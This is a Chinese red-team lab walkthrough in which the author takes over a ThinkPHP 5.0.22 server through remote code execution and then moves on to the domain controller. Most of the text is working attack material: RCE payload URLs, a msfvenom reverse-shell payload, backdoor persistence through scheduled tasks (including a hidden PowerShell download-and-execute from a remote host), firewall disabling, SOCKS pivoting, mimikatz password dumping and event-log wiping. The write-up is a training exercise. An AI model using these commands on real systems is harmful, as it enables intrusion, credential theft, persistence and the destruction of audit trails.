天天看點

ATT&CK實戰系列—紅隊實戰-5

ATT&CK實戰系列—紅隊實戰-5

    • 0、靶場介紹
    • 1、資訊收集
    • 2、漏洞分析
      • 2.1 漏洞挖掘
      • 2.2 漏洞驗證
    • 3、漏洞利用
      • 3.1 ThinkPHP 5.0.22 getshell
      • 3.2 主機資訊收集
    • 4、權限提升
      • 4.1 ​ 使用 msf 提權
      • 4.2 dump Hash
      • 4.3 遠端登入
    • 5、權限維持
      • 5.1 任務計劃
    • 6、橫向滲透
      • 6.1 搭建 socks 代理
      • 6.2 内網資訊收集
      • 6.3 橫向滲透--域控
    • 7、痕迹清理

0、靶場介紹

ATT&CK第五個攻防靶場已經出來了,此次靶場虛拟機共用兩個,一個外網一個内網,用來練習紅隊相關内容和方向,主要包括正常資訊收集、Web攻防、代碼審計、漏洞利用、内網滲透以及域滲透等相關内容學習。

1、資訊收集

ATT&CK實戰系列—紅隊實戰-5
ATT&CK實戰系列—紅隊實戰-5

2、漏洞分析

該階段為漏洞挖掘、漏洞掃描、漏洞驗證

2.1 漏洞挖掘

ATT&CK實戰系列—紅隊實戰-5

2.2 漏洞驗證

漏洞POC:
http://127.0.0.1/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
           
ATT&CK實戰系列—紅隊實戰-5
http://127.0.0.1/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
           
ATT&CK實戰系列—紅隊實戰-5

3、漏洞利用

3.1 ThinkPHP 5.0.22 getshell

擷取網站根目錄,寫入shell:

ATT&CK實戰系列—紅隊實戰-5
ATT&CK實戰系列—紅隊實戰-5
ATT&CK實戰系列—紅隊實戰-5

3.2 主機資訊收集

本機資訊主要包括主機的系統、權限、内網配置設定 IP 位址段、端口、服務、共享、會話、網絡連接配接資訊、更新檔更新頻率、安裝的軟體殺毒等。如果是域内主機,系統、軟體、更新檔、服務、殺毒一般都是批量安裝的。通過收集本機的相關資訊,可以進一步了解整個域的作業系統版本、 軟體、更新檔、使用者命名方式等。
0.查詢目前權限、賬号資訊
whoami 
whoami /all 

1. 查詢網絡配置資訊    
ipconfig /all 

2.查詢作業系統及安裝軟體的版本資訊
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本"

3.查詢本機服務資訊
wmic service list brief

4.查詢程序清單
tasklist /v 
wmic process list brief

5.檢視啟動程式資訊
wmic startup get command,caption

6.檢視計劃任務
schtasks /query /fo LIST /v

7.檢視主機開機時間
net statistics workstation

8.查詢使用者清單、擷取本地管理者資訊、檢視目前線上使用者
net user 
net localgroup administrators
query user || qwinsta 

9.列出或斷開本地計算機和連接配接的用戶端的會話
net session

10.查詢端口清單
netstat -ano

11.查詢更新檔清單
Systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn 

12.查詢本機共享
net share
wmic share get name,path,status 

13.查詢路由表及所有可用接口的 ARP 緩存表
route print
Arp –A

14.查詢防火牆相關配置
netsh firewall show config

15.檢視計算機代理配置情況
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"


16.查詢遠端連接配接服務 
在 cmd 下使用系統資料庫查詢語句,指令如下,得到連接配接端口為 0xd3d,轉換後為 3389.
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
           

4、權限提升

4.1 ​ 使用 msf 提權

使用 MSF 進行提權并且抓取散列值和明文密碼:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.136 LPORT=12345 -f exe -o payload.exe
           
ATT&CK實戰系列—紅隊實戰-5
ATT&CK實戰系列—紅隊實戰-5
ATT&CK實戰系列—紅隊實戰-5

4.2 dump Hash

ATT&CK實戰系列—紅隊實戰-5
ATT&CK實戰系列—紅隊實戰-5

4.3 遠端登入

開啟3389
run post/windows/manage/enable_rdp
或者
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

檢視防火牆配置
netsh firewall show config

關閉防火牆:
Windows Server 2003 系統及之前版本
netsh firewall set opmode disable
Windows Server 2003 之後系統版本
netsh advfirewall set allprofiles state off
           
ATT&CK實戰系列—紅隊實戰-5

5、權限維持

計劃任務可以讓目标主機在特定的時間執行我們預先準備的後門程式進而使我們獲得目标系統的控制權。計劃任務的持久化技術可以手動實作,也可以自動實作。有效負載可以從磁盤或遠端位置執行,它們可以是可執行檔案、powershell腳本或scriptlet的形式。

5.1 任務計劃

1、利用 at 指令

at 指令是Windows自帶的用于建立計劃任務的指令,但是他主要工作在Windows Server 2008之前版本的作業系統中。我們可以通過at指令通過跳闆機在目标主機DC上建立計劃任務,讓計算機在指定的時間執行木馬程式,進而獲得對内網目标主機的控制。
1. 首先在目标主機上傳metasploit生成的後門程式:
meterpreter > upload /root/payload.exe C:\\Windows\\System32

2. 然後進入目标主機的shell使用net time指令确定目标主機的目前時間:
net time

3. 接着在目标主機的shell中使用at指令建立計劃任務,讓目标主機在指定的時間運作metasploit木馬程式:
at 15:01:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe

4. 計劃任務建立成功,目标主機将在每個工作日的15:01:00執行後門程式,我們便可以在這個時間獲得目标機器的控制權:
           
ATT&CK實戰系列—紅隊實戰-5

2、利用 schtasks 指令

上面我們講了用at指令建立計劃任務,但是該指令已經被Windows Vista、Windows Server 2008及之後版本的作業系統廢棄了,代替他的是schtasks命指令。schtasks指令比at指令更為靈活、自由。是以攻擊者開始使用schtasks指令來代替at指令。
在目标主機上建立一個名為test的計劃任務,啟動程式為C:\vps.exe,啟動權限為system,啟動時間為每隔一小時啟動一次。當執行完該指令,該計劃任務就已經啟動了
schtasks /create /tn test /sc HOURLY /mo 1 /tr c:\vps.exe /ru system /f
 
其他啟動時間參數:
/sc onlogon  使用者登入時啟動
/sc onstart  系統啟動時啟動
/sc onidle   系統空閑時啟動
 
但是如果是powershell指令的話,執行完下面的指令,還需要執行啟動該計劃任務的指令
schtasks /create /tn test /sc HOURLY /mo 1 /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://xx.xx.xx.xx'''))'" /ru system /f
 
查詢該test計劃任務
schtasks /query | findstr test
 
啟動該test計劃任務
schtasks /run /i /tn "test"
 
删除該test計劃任務
schtasks /delete /tn "test" /f
           
利用schtasks建立後門的大緻流程如下:

1. 首先在目标主機上傳metasploit生成的後門程式。

2. 然後在目标主機上建立一個名稱為“backdoor”的計劃任務。該計劃任務每分鐘啟動一次,啟動程式為我們之前到C槽下的backdoor.exe,啟動權限為system。指令如下:
schtasks /create /tn backdoor /sc minute /mo 1  /tr c:\windows\system32\backdoor.exe /ru system /f

3. 然後新開一個metasploit監聽,等待一分鐘後這個監聽便收到了目标主機的session
           
ATT&CK實戰系列—紅隊實戰-5

6、橫向滲透

6.1 搭建 socks 代理

1、使用ew 開啟一個正向代理

Linux系統
./ew_for_linux64 -s ssocksd -l 1080  #監聽本地的1080端口
 
Windows系統
ew_for_Win.exe -s ssocksd -l 1080   #監聽本地的1080端口

主機的設定

如果是Linux系統,配置proxychains代理鍊的配置檔案,将代理設定成 100.100.10.12的1080端口:socks5 100.100.10.12 1080 
然後指令前面加上 proxychains即可。如:proxychains curl 192.168.10.19
 
如果是Windows系統,直接浏覽器中設定代理為 web_ip 的1080端口,或者利用  Proxifier 、sockscap64 設定全局代理
           
ATT&CK實戰系列—紅隊實戰-5

2、使用msf socks 搭建代理

ATT&CK實戰系列—紅隊實戰-5

3、使用 chisel 搭建一個代理

服務端:
chisel.exe server -p 3080 --socks5

攻擊端:
./chisel_linux64 client 192.168.1.145:3080 socks
           
ATT&CK實戰系列—紅隊實戰-5

6.2 内網資訊收集

1、域内資訊收集

檢視域名	
Net config workstation  
Ipconfig /all

檢視幾個域	
Net view /domain

檢視是否是域名主機	
Net time /domain

檢視域内主機	
Net user /domain

檢視域控	
Net group “domain controllers“ /domain

檢視域管理者	
Net group “domain admins” /domain
           
ATT&CK實戰系列—紅隊實戰-5

2、内網主機存活

ATT&CK實戰系列—紅隊實戰-5
auxiliary/scanner/smb/smb_version
           
ATT&CK實戰系列—紅隊實戰-5
ATT&CK實戰系列—紅隊實戰-5

3、端口服務探測

ATT&CK實戰系列—紅隊實戰-5

6.3 橫向滲透–域控

1、使用 ms17-010 拿下域控 – 利用失敗

ATT&CK實戰系列—紅隊實戰-5
ATT&CK實戰系列—紅隊實戰-5

2、wmi 進行橫向 – 擷取域控

ATT&CK實戰系列—紅隊實戰-5
ATT&CK實戰系列—紅隊實戰-5

開啟3389,關閉防火牆:

#設定遠端桌面端口
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
#開啟遠端桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#關閉遠端桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0
#檢查端口狀态
netstat -an|find "3389"

關閉防火牆:
Windows Server 2003 系統及之前版本
netsh firewall set opmode disable
Windows Server 2003 之後系統版本
netsh advfirewall set allprofiles state off

           
ATT&CK實戰系列—紅隊實戰-5

使用域賬号登入:

ATT&CK實戰系列—紅隊實戰-5

dump hash

proxychains4 smbclient //192.168.138.138/C$ -U administrator
put mimikatz.exe
           
ATT&CK實戰系列—紅隊實戰-5
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log
           
ATT&CK實戰系列—紅隊實戰-5
ATT&CK實戰系列—紅隊實戰-5

7、痕迹清理

有遠端桌面權限時手動删除日志:
開始-程式-管理工具-計算機管理-系統工具-事件檢視器-清除日志

wevtutil:

wevtutil el             列出系統中所有日志名稱
wevtutil cl system      清理系統日志
wevtutil cl application 清理應用程式日志
wevtutil cl security    清理安全日志

meterperter自帶清除日志功能:
clearev     清除windows中的應用程式日志、系統日志、安全日志

清除recent:
在檔案資料總管中點選“檢視”->“選項”->在正常->隐私中點選”清除”按鈕
或直接打開C:\Users\Administrator\Recent并删除所有内容
或在指令行中輸入del /f /s /q “%userprofile%\Recent*.*